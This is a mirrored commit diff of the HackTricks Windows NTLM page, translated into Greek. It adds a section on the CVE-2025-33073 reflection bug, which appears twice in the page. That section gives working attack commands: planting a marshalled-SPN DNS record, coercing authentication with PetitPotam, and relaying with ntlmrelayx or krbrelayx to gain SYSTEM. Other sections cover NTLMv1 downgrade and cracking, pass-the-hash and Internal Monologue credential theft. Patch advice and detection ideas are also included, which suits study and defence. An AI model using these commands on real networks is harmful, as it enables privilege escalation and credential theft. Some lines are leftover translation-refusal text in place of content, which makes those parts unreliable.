mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/ntlm/README.md'] to el
This commit is contained in:
parent
2c26778cee
commit
878c9dc662
@ -2,11 +2,57 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## NTLM & Kerberos *Reflection* via Serialized SPNs (CVE-2025-33073)
|
||||
|
||||
Τα Windows περιέχουν αρκετές μετρήσεις που προσπαθούν να αποτρέψουν τις επιθέσεις *reflection* όπου μια αυθεντικοποίηση NTLM (ή Kerberos) που προέρχεται από έναν υπολογιστή αναμεταδίδεται πίσω στον **ίδιο** υπολογιστή για να αποκτήσει δικαιώματα SYSTEM.
|
||||
|
||||
Η Microsoft κατέρριψε τις περισσότερες δημόσιες αλυσίδες με τα MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) και αργότερα patches, ωστόσο **CVE-2025-33073** δείχνει ότι οι προστασίες μπορούν ακόμα να παρακαμφθούν εκμεταλλευόμενοι το πώς ο **πελάτης SMB κόβει τα Service Principal Names (SPNs)** που περιέχουν *marshalled* (σειριοποιημένες) πληροφορίες στόχου.
|
||||
|
||||
### TL;DR του σφάλματος
|
||||
1. Ένας επιτιθέμενος καταχωρεί ένα **DNS A-record** του οποίου η ετικέτα κωδικοποιεί ένα marshalled SPN – π.χ.
|
||||
`srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50`
|
||||
2. Το θύμα αναγκάζεται να αυθεντικοποιηθεί σε αυτό το όνομα υπολογιστή (PetitPotam, DFSCoerce, κ.λπ.).
|
||||
3. Όταν ο πελάτης SMB περνά τη συμβολοσειρά στόχου `cifs/srv11UWhRCAAAAA…` στο `lsasrv!LsapCheckMarshalledTargetInfo`, η κλήση προς `CredUnmarshalTargetInfo` **αφαιρεί** το σειριοποιημένο blob, αφήνοντας **`cifs/srv1`**.
|
||||
4. `msv1_0!SspIsTargetLocalhost` (ή το αντίστοιχο Kerberos) τώρα θεωρεί ότι ο στόχος είναι *localhost* επειδή το σύντομο μέρος του υπολογιστή ταιριάζει με το όνομα υπολογιστή (`SRV1`).
|
||||
5. Κατά συνέπεια, ο διακομιστής ρυθμίζει το `NTLMSSP_NEGOTIATE_LOCAL_CALL` και εισάγει το **access-token SYSTEM του LSASS** στο πλαίσιο (για το Kerberos δημιουργείται ένα κλειδί υποσυστήματος με σήμανση SYSTEM).
|
||||
6. Η αναμετάδοση αυτής της αυθεντικοποίησης με το `ntlmrelayx.py` **ή** `krbrelayx.py` δίνει πλήρη δικαιώματα SYSTEM στον ίδιο υπολογιστή.
|
||||
|
||||
### Quick PoC
|
||||
```bash
|
||||
# Add malicious DNS record
|
||||
dnstool.py -u 'DOMAIN\\user' -p 'pass' 10.10.10.1 \
|
||||
-a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \
|
||||
-d 10.10.10.50
|
||||
|
||||
# Trigger authentication
|
||||
PetitPotam.py -u user -p pass -d DOMAIN \
|
||||
srv11UWhRCAAAAAAAAAAAAAAAAA… TARGET.DOMAIN.LOCAL
|
||||
|
||||
# Relay listener (NTLM)
|
||||
ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
|
||||
|
||||
# Relay listener (Kerberos) – remove NTLM mechType first
|
||||
krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
|
||||
```
|
||||
### Patch & Mitigations
|
||||
* Το KB patch για **CVE-2025-33073** προσθέτει έναν έλεγχο στο `mrxsmb.sys::SmbCeCreateSrvCall` που μπλοκάρει οποιαδήποτε SMB σύνδεση της οποίας ο στόχος περιέχει μαρσαρισμένες πληροφορίες (`CredUnmarshalTargetInfo` ≠ `STATUS_INVALID_PARAMETER`).
|
||||
* Εφαρμόστε **SMB signing** για να αποτρέψετε την αντανάκλαση ακόμη και σε μη ενημερωμένους διακομιστές.
|
||||
* Παρακολουθήστε τις εγγραφές DNS που μοιάζουν με `*<base64>...*` και μπλοκάρετε τους συντελεστές καταναγκασμού (PetitPotam, DFSCoerce, AuthIP...).
|
||||
|
||||
### Detection ideas
|
||||
* Δίκτυα καταγραφών με `NTLMSSP_NEGOTIATE_LOCAL_CALL` όπου η IP του πελάτη ≠ η IP του διακομιστή.
|
||||
* Kerberos AP-REQ που περιέχει ένα κλειδί υποσυστήματος και έναν πελάτη principal ίσο με το όνομα του διακομιστή.
|
||||
* Windows Event 4624/4648 SYSTEM logons που ακολουθούνται αμέσως από απομακρυσμένες SMB εγγραφές από τον ίδιο διακομιστή.
|
||||
|
||||
## References
|
||||
* [Synacktiv – NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html)
|
||||
* [MSRC – CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073)
|
||||
|
||||
## Basic Information
|
||||
|
||||
Σε περιβάλλοντα όπου λειτουργούν οι **Windows XP και Server 2003**, χρησιμοποιούνται οι κατακερματισμοί LM (Lan Manager), αν και είναι ευρέως αναγνωρισμένο ότι μπορούν να παραβιαστούν εύκολα. Ένας συγκεκριμένος κατακερματισμός LM, `AAD3B435B51404EEAAD3B435B51404EE`, υποδεικνύει μια κατάσταση όπου δεν χρησιμοποιείται το LM, αντιπροσωπεύοντας τον κατακερματισμό για μια κενή συμβολοσειρά.
|
||||
Σε περιβάλλοντα όπου λειτουργούν **Windows XP και Server 2003**, χρησιμοποιούνται LM (Lan Manager) hashes, αν και είναι ευρέως αναγνωρισμένο ότι αυτά μπορούν να παραβιαστούν εύκολα. Ένα συγκεκριμένο LM hash, `AAD3B435B51404EEAAD3B435B51404EE`, υποδηλώνει μια κατάσταση όπου το LM δεν χρησιμοποιείται, αντιπροσωπεύοντας το hash για μια κενή συμβολοσειρά.
|
||||
|
||||
Από προεπιλογή, το πρωτόκολλο αυθεντικοποίησης **Kerberos** είναι η κύρια μέθοδος που χρησιμοποιείται. Το NTLM (NT LAN Manager) εισέρχεται υπό συγκεκριμένες συνθήκες: απουσία Active Directory, μη ύπαρξη τομέα, δυσλειτουργία του Kerberos λόγω ακατάλληλης διαμόρφωσης ή όταν γίνονται προσπάθειες σύνδεσης χρησιμοποιώντας μια διεύθυνση IP αντί για έγκυρο όνομα κεντρικού υπολογιστή.
|
||||
Από προεπιλογή, το **Kerberos** είναι το κύριο μέθοδος που χρησιμοποιείται. Το NTLM (NT LAN Manager) εισέρχεται υπό συγκεκριμένες συνθήκες: απουσία Active Directory, μη ύπαρξη τομέα, δυσλειτουργία του Kerberos λόγω κακής διαμόρφωσης, ή όταν γίνονται προσπάθειες σύνδεσης χρησιμοποιώντας μια διεύθυνση IP αντί για έγκυρο όνομα διακομιστή.
|
||||
|
||||
Η παρουσία της κεφαλίδας **"NTLMSSP"** σε πακέτα δικτύου σηματοδοτεί μια διαδικασία αυθεντικοποίησης NTLM.
|
||||
|
||||
@ -14,8 +60,8 @@
|
||||
|
||||
**Key Points**:
|
||||
|
||||
- Οι κατακερματισμοί LM είναι ευάλωτοι και ένας κενός κατακερματισμός LM (`AAD3B435B51404EEAAD3B435B51404EE`) υποδηλώνει την μη χρήση του.
|
||||
- Το Kerberos είναι η προεπιλεγμένη μέθοδος αυθεντικοποίησης, με το NTLM να χρησιμοποιείται μόνο υπό ορισμένες συνθήκες.
|
||||
- Οι LM hashes είναι ευάλωτες και ένα κενό LM hash (`AAD3B435B51404EEAAD3B435B51404EE`) υποδηλώνει την μη χρήση του.
|
||||
- Το Kerberos είναι η προεπιλεγμένη μέθοδος αυθεντικοποίησης, με το NTLM να χρησιμοποιείται μόνο υπό συγκεκριμένες συνθήκες.
|
||||
- Τα πακέτα αυθεντικοποίησης NTLM είναι αναγνωρίσιμα από την κεφαλίδα "NTLMSSP".
|
||||
- Τα πρωτόκολλα LM, NTLMv1 και NTLMv2 υποστηρίζονται από το σύστημα αρχείο `msv1\_0.dll`.
|
||||
|
||||
@ -77,15 +123,15 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE
|
||||
|
||||
Σήμερα γίνεται όλο και λιγότερο συνηθισμένο να βρίσκονται περιβάλλοντα με ρυθμισμένη Unconstrained Delegation, αλλά αυτό δεν σημαίνει ότι δεν μπορείτε να **καταχραστείτε μια υπηρεσία Print Spooler** που είναι ρυθμισμένη.
|
||||
|
||||
Μπορείτε να καταχραστείτε κάποια διαπιστευτήρια/συνδέσεις που ήδη έχετε στο AD για να **ζητήσετε από τον εκτυπωτή να αυθεντικοποιηθεί** απέναντι σε κάποιο **host υπό τον έλεγχό σας**. Στη συνέχεια, χρησιμοποιώντας `metasploit auxiliary/server/capture/smb` ή `responder` μπορείτε να **ρυθμίσετε την πρόκληση αυθεντικοποίησης σε 1122334455667788**, να καταγράψετε την προσπάθεια αυθεντικοποίησης, και αν έγινε χρησιμοποιώντας **NTLMv1** θα μπορείτε να το **σπάσετε**.\
|
||||
Μπορείτε να καταχραστείτε κάποια διαπιστευτήρια/συνδέσεις που ήδη έχετε στο AD για να **ζητήσετε από τον εκτυπωτή να αυθεντικοποιηθεί** έναντι κάποιου **host υπό τον έλεγχό σας**. Στη συνέχεια, χρησιμοποιώντας `metasploit auxiliary/server/capture/smb` ή `responder` μπορείτε να **ρυθμίσετε την πρόκληση αυθεντικοποίησης σε 1122334455667788**, να καταγράψετε την προσπάθεια αυθεντικοποίησης, και αν έγινε χρησιμοποιώντας **NTLMv1** θα μπορείτε να το **σπάσετε**.\
|
||||
Αν χρησιμοποιείτε `responder` μπορείτε να προσπαθήσετε να **χρησιμοποιήσετε τη σημαία `--lm`** για να προσπαθήσετε να **υποβαθμίσετε** την **αυθεντικοποίηση**.\
|
||||
_Σημειώστε ότι για αυτή την τεχνική η αυθεντικοποίηση πρέπει να πραγματοποιηθεί χρησιμοποιώντας NTLMv1 (το NTLMv2 δεν είναι έγκυρο)._
|
||||
|
||||
Θυμηθείτε ότι ο εκτυπωτής θα χρησιμοποιήσει τον λογαριασμό υπολογιστή κατά την αυθεντικοποίηση, και οι λογαριασμοί υπολογιστή χρησιμοποιούν **μακρούς και τυχαίους κωδικούς πρόσβασης** που πιθανώς δεν θα μπορείτε να σπάσετε χρησιμοποιώντας κοινά **λεξικά**. Αλλά η **NTLMv1** αυθεντικοποίηση **χρησιμοποιεί DES** ([περισσότερες πληροφορίες εδώ](#ntlmv1-challenge)), έτσι χρησιμοποιώντας κάποιες υπηρεσίες ειδικά αφιερωμένες στο σπάσιμο του DES θα μπορείτε να το σπάσετε (μπορείτε να χρησιμοποιήσετε [https://crack.sh/](https://crack.sh) ή [https://ntlmv1.com/](https://ntlmv1.com) για παράδειγμα).
|
||||
Θυμηθείτε ότι ο εκτυπωτής θα χρησιμοποιήσει τον λογαριασμό υπολογιστή κατά την αυθεντικοποίηση, και οι λογαριασμοί υπολογιστή χρησιμοποιούν **μακριούς και τυχαίους κωδικούς πρόσβασης** που πιθανώς **δεν θα μπορείτε να σπάσετε** χρησιμοποιώντας κοινά **λεξικά**. Αλλά η **αυθεντικοποίηση NTLMv1** **χρησιμοποιεί DES** ([περισσότερες πληροφορίες εδώ](#ntlmv1-challenge)), οπότε χρησιμοποιώντας κάποιες υπηρεσίες ειδικά αφιερωμένες στο σπάσιμο του DES θα μπορείτε να το σπάσετε (μπορείτε να χρησιμοποιήσετε [https://crack.sh/](https://crack.sh) ή [https://ntlmv1.com/](https://ntlmv1.com) για παράδειγμα).
|
||||
|
||||
### NTLMv1 attack with hashcat
|
||||
|
||||
Η NTLMv1 μπορεί επίσης να σπάσει με το NTLMv1 Multi Tool [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) το οποίο μορφοποιεί τα μηνύματα NTLMv1 με μια μέθοδο που μπορεί να σπάσει με hashcat.
|
||||
Το NTLMv1 μπορεί επίσης να σπάσει με το NTLMv1 Multi Tool [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) το οποίο μορφοποιεί τα μηνύματα NTLMv1 με μια μέθοδο που μπορεί να σπάσει με το hashcat.
|
||||
|
||||
Η εντολή
|
||||
```bash
|
||||
@ -149,7 +195,7 @@ I'm sorry, but I need the specific text you want translated in order to assist y
|
||||
|
||||
586c # this is the last part
|
||||
```
|
||||
I'm sorry, but I need the specific text you would like me to translate in order to assist you. Please provide the content you want translated.
|
||||
I'm sorry, but I need the specific text you want translated in order to assist you. Please provide the content you would like me to translate to Greek.
|
||||
```bash
|
||||
NTHASH=b4b9b02e6f09a9bd760f388b6700586c
|
||||
```
|
||||
@ -157,9 +203,9 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c
|
||||
|
||||
Το **μήκος της πρόκλησης είναι 8 bytes** και **αποστέλλονται 2 απαντήσεις**: Μία είναι **24 bytes** και το μήκος της **άλλης** είναι **μεταβλητό**.
|
||||
|
||||
**Η πρώτη απάντηση** δημιουργείται κρυπτογραφώντας με τη χρήση **HMAC_MD5** τη **σειρά** που αποτελείται από τον **πελάτη και το domain** και χρησιμοποιώντας ως **κλειδί** το **hash MD4** του **NT hash**. Στη συνέχεια, το **αποτέλεσμα** θα χρησιμοποιηθεί ως **κλειδί** για να κρυπτογραφηθεί με **HMAC_MD5** η **πρόκληση**. Σε αυτό, **θα προστεθεί μια πρόκληση πελάτη 8 bytes**. Σύνολο: 24 B.
|
||||
**Η πρώτη απάντηση** δημιουργείται κρυπτογραφώντας με τη χρήση **HMAC_MD5** τη **σειρά** που αποτελείται από τον **πελάτη και το domain** και χρησιμοποιώντας ως **κλειδί** το **hash MD4** του **NT hash**. Στη συνέχεια, το **αποτέλεσμα** θα χρησιμοποιηθεί ως **κλειδί** για να κρυπτογραφήσει με **HMAC_MD5** την **πρόκληση**. Σε αυτό, **θα προστεθεί μια πρόκληση πελάτη 8 bytes**. Σύνολο: 24 B.
|
||||
|
||||
Η **δεύτερη απάντηση** δημιουργείται χρησιμοποιώντας **διάφορες τιμές** (μια νέα πρόκληση πελάτη, ένα **timestamp** για να αποφευχθούν οι **επανειλημμένες επιθέσεις**...)
|
||||
Η **δεύτερη απάντηση** δημιουργείται χρησιμοποιώντας **διάφορες τιμές** (μια νέα πρόκληση πελάτη, ένα **timestamp** για να αποφευχθούν οι **επανεκτελέσεις**...)
|
||||
|
||||
Αν έχετε ένα **pcap που έχει καταγράψει μια επιτυχημένη διαδικασία αυθεντικοποίησης**, μπορείτε να ακολουθήσετε αυτόν τον οδηγό για να αποκτήσετε το domain, το username, την πρόκληση και την απάντηση και να προσπαθήσετε να σπάσετε τον κωδικό: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/)
|
||||
|
||||
@ -242,11 +288,11 @@ wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
|
||||
|
||||
Η Επίθεση Εσωτερικού Μονολόγου είναι μια κρυφή τεχνική εξαγωγής διαπιστευτηρίων που επιτρέπει σε έναν επιτιθέμενο να ανακτήσει NTLM hashes από τη μηχανή ενός θύματος **χωρίς να αλληλεπιδρά άμεσα με τη διαδικασία LSASS**. Σε αντίθεση με το Mimikatz, το οποίο διαβάζει hashes απευθείας από τη μνήμη και συχνά αποκλείεται από λύσεις ασφάλειας τερματικών ή Credential Guard, αυτή η επίθεση εκμεταλλεύεται **τοπικές κλήσεις στο πακέτο αυθεντικοποίησης NTLM (MSV1_0) μέσω του Interface Παροχής Υποστήριξης Ασφαλείας (SSPI)**. Ο επιτιθέμενος πρώτα **υποβαθμίζει τις ρυθμίσεις NTLM** (π.χ., LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic) για να διασφαλίσει ότι επιτρέπεται το NetNTLMv1. Στη συνέχεια, προσποιείται υπάρχοντα tokens χρηστών που αποκτήθηκαν από εκτελούμενες διαδικασίες και ενεργοποιεί την αυθεντικοποίηση NTLM τοπικά για να δημιουργήσει απαντήσεις NetNTLMv1 χρησιμοποιώντας μια γνωστή πρόκληση.
|
||||
|
||||
Αφού συλλάβει αυτές τις απαντήσεις NetNTLMv1, ο επιτιθέμενος μπορεί γρήγορα να ανακτήσει τα αρχικά NTLM hashes χρησιμοποιώντας **προϋπολογισμένα rainbow tables**, επιτρέποντας περαιτέρω επιθέσεις Pass-the-Hash για πλευρική κίνηση. Είναι κρίσιμο ότι η Επίθεση Εσωτερικού Μονολόγου παραμένει κρυφή επειδή δεν παράγει δικτυακή κίνηση, δεν εισάγει κώδικα ή δεν ενεργοποιεί άμεσες εκφορτώσεις μνήμης, καθιστώντας την πιο δύσκολη για τους αμυντικούς να ανιχνεύσουν σε σύγκριση με παραδοσιακές μεθόδους όπως το Mimikatz.
|
||||
Αφού συλλάβει αυτές τις απαντήσεις NetNTLMv1, ο επιτιθέμενος μπορεί γρήγορα να ανακτήσει τα αρχικά NTLM hashes χρησιμοποιώντας **προϋπολογισμένα rainbow tables**, επιτρέποντας περαιτέρω επιθέσεις Pass-the-Hash για πλευρική κίνηση. Είναι κρίσιμο ότι η Επίθεση Εσωτερικού Μονολόγου παραμένει κρυφή επειδή δεν παράγει δίκτυο κίνησης, δεν εισάγει κώδικα ή δεν ενεργοποιεί άμεσες εκφορτώσεις μνήμης, καθιστώντας την πιο δύσκολη για τους υπερασπιστές να ανιχνεύσουν σε σύγκριση με παραδοσιακές μεθόδους όπως το Mimikatz.
|
||||
|
||||
Εάν το NetNTLMv1 δεν γίνει αποδεκτό—λόγω επιβαλλόμενων πολιτικών ασφάλειας, τότε ο επιτιθέμενος μπορεί να αποτύχει να ανακτήσει μια απάντηση NetNTLMv1.
|
||||
|
||||
Για να χειριστεί αυτή την περίπτωση, το εργαλείο Internal Monologue ενημερώθηκε: Αποκτά δυναμικά ένα token διακομιστή χρησιμοποιώντας `AcceptSecurityContext()` για να **συλλάβει απαντήσεις NetNTLMv2** εάν αποτύχει το NetNTLMv1. Ενώ το NetNTLMv2 είναι πολύ πιο δύσκολο να σπάσει, ανοίγει ακόμα ένα μονοπάτι για επιθέσεις relay ή offline brute-force σε περιορισμένες περιπτώσεις.
|
||||
Για να χειριστεί αυτή την περίπτωση, το εργαλείο Internal Monologue ενημερώθηκε: Αποκτά δυναμικά ένα token διακομιστή χρησιμοποιώντας `AcceptSecurityContext()` για να **συλλάβει απαντήσεις NetNTLMv2** εάν αποτύχει το NetNTLMv1. Ενώ το NetNTLMv2 είναι πολύ πιο δύσκολο να σπάσει, εξακολουθεί να ανοίγει ένα μονοπάτι για επιθέσεις relay ή offline brute-force σε περιορισμένες περιπτώσεις.
|
||||
|
||||
Η PoC μπορεί να βρεθεί στο **[https://github.com/eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue)**.
|
||||
|
||||
@ -262,4 +308,50 @@ wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
|
||||
|
||||
**Μπορείτε να χρησιμοποιήσετε** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide)
|
||||
|
||||
## NTLM & Kerberos *Reflection* via Serialized SPNs (CVE-2025-33073)
|
||||
|
||||
Τα Windows περιέχουν αρκετές μετρήσεις που προσπαθούν να αποτρέψουν *reflection* επιθέσεις όπου μια αυθεντικοποίηση NTLM (ή Kerberos) που προέρχεται από έναν host αναμεταδίδεται πίσω στον **ίδιο** host για να αποκτήσει δικαιώματα SYSTEM.
|
||||
|
||||
Η Microsoft κατέστρεψε τις περισσότερες δημόσιες αλυσίδες με τα MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) και αργότερα patches, ωστόσο **CVE-2025-33073** δείχνει ότι οι προστασίες μπορούν ακόμα να παρακαμφθούν εκμεταλλευόμενοι το πώς ο **πελάτης SMB κόβει τα Service Principal Names (SPNs)** που περιέχουν *marshalled* (σειριοποιημένες) πληροφορίες στόχου.
|
||||
|
||||
### TL;DR του σφάλματος
|
||||
1. Ένας επιτιθέμενος καταχωρεί ένα **DNS A-record** του οποίου η ετικέτα κωδικοποιεί ένα marshalled SPN – π.χ.
|
||||
`srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50`
|
||||
2. Το θύμα αναγκάζεται να αυθεντικοποιηθεί σε αυτό το hostname (PetitPotam, DFSCoerce, κ.λπ.).
|
||||
3. Όταν ο πελάτης SMB περνά τη συμβολοσειρά στόχου `cifs/srv11UWhRCAAAAA…` στη `lsasrv!LsapCheckMarshalledTargetInfo`, η κλήση προς `CredUnmarshalTargetInfo` **αφαιρεί** το σειριοποιημένο blob, αφήνοντας **`cifs/srv1`**.
|
||||
4. `msv1_0!SspIsTargetLocalhost` (ή το αντίστοιχο Kerberos) τώρα θεωρεί ότι ο στόχος είναι *localhost* επειδή το σύντομο μέρος του host ταιριάζει με το όνομα υπολογιστή (`SRV1`).
|
||||
5. Κατά συνέπεια, ο διακομιστής ρυθμίζει το `NTLMSSP_NEGOTIATE_LOCAL_CALL` και εισάγει **το access-token SYSTEM του LSASS** στο πλαίσιο (για το Kerberos δημιουργείται ένα υποκλειδί υποσυστήματος με σήμανση SYSTEM).
|
||||
6. Η αναμετάδοση αυτής της αυθεντικοποίησης με το `ntlmrelayx.py` **ή** το `krbrelayx.py` δίνει πλήρη δικαιώματα SYSTEM στον ίδιο host.
|
||||
|
||||
### Quick PoC
|
||||
```bash
|
||||
# Add malicious DNS record
|
||||
dnstool.py -u 'DOMAIN\\user' -p 'pass' 10.10.10.1 \
|
||||
-a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \
|
||||
-d 10.10.10.50
|
||||
|
||||
# Trigger authentication
|
||||
PetitPotam.py -u user -p pass -d DOMAIN \
|
||||
srv11UWhRCAAAAAAAAAAAAAAAAA… TARGET.DOMAIN.LOCAL
|
||||
|
||||
# Relay listener (NTLM)
|
||||
ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
|
||||
|
||||
# Relay listener (Kerberos) – remove NTLM mechType first
|
||||
krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
|
||||
```
|
||||
### Patch & Mitigations
|
||||
* Το KB patch για **CVE-2025-33073** προσθέτει έναν έλεγχο στο `mrxsmb.sys::SmbCeCreateSrvCall` που μπλοκάρει οποιαδήποτε SMB σύνδεση της οποίας ο στόχος περιέχει μαρσαρισμένες πληροφορίες (`CredUnmarshalTargetInfo` ≠ `STATUS_INVALID_PARAMETER`).
|
||||
* Εφαρμόστε **SMB signing** για να αποτρέψετε την αντανάκλαση ακόμη και σε μη ενημερωμένους διακομιστές.
|
||||
* Παρακολουθήστε τα DNS records που μοιάζουν με `*<base64>...*` και μπλοκάρετε τους συνδυασμούς καταναγκασμού (PetitPotam, DFSCoerce, AuthIP...).
|
||||
|
||||
### Detection ideas
|
||||
* Δίκτυα καταγραφής με `NTLMSSP_NEGOTIATE_LOCAL_CALL` όπου η IP του πελάτη ≠ η IP του διακομιστή.
|
||||
* Kerberos AP-REQ που περιέχει ένα κλειδί υποσυστήματος και έναν πελάτη principal ίσο με το όνομα του διακομιστή.
|
||||
* Windows Event 4624/4648 SYSTEM logons που ακολουθούνται αμέσως από απομακρυσμένες SMB εγγραφές από τον ίδιο διακομιστή.
|
||||
|
||||
## References
|
||||
* [Synacktiv – NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html)
|
||||
* [MSRC – CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user